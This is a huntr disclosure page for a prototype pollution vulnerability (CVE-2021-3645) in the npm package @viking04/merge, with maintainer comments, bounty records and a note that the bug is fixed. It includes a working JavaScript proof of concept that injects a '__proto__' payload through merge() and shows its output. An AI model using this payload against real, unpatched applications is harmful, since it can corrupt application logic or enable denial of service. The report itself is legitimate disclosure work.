huntr

Prototype Pollution in viking04/merge

✓ Valid Reported on Sep 8th 2021

0

✍️ Description

The npm package @viking04/merge is vulnerable to Prototype Pollution. More Details on the Vulnerability: https://medium.com/node-modules/what-is-prototype-pollution-and-why-is-it-such-a-big-deal-2dd8d89a93c

🕵️ Proof of Concept

LIVE POC LINK

```
var merge = require("@viking04/merge")
var a = {"a":{"red":"apple"}}
var b = {"b":{"yellow":"mango"}}
var c = JSON.parse('{"__proto__":{"polluted":true}}')
console.log("Before:"+{}.polluted)
merge(a,b,c)
console.log("After:"+{}.polluted)
```

Output

```
"Before:undefined"
"After:true"
```

💥 Impact

May lead to DOS/Remote Code Execution/Changing Business Logic/Information Disclosure/XSS depending on case.

Occurrences

JS index.js L6

CVE
CVE-2021-3645
(Published)

Vulnerability Type
CWE-1321: Prototype Pollution

Severity
Medium (6.8)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

Jayateertha Guruprasad
@jayateertha043
unranked

Fixed by

viking04
@viking04
unranked

This report was seen 427 times.

We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago

Jayateertha Guruprasad submitted a patch a year ago

viking04 a year ago Maintainer

Chat with us

Good one,
Didn't think of this case ,will need to retest and fix it.
Does filtering key with `__proto__` and `constructor` fix this completely ?

viking04 validated this vulnerability a year ago

Jayateertha Guruprasad has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

viking04 marked this as fixed with commit baba40 a year ago

viking04 has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Jamie Slome a year ago Admin

CVE published! 🎉

Sign in to join this conversation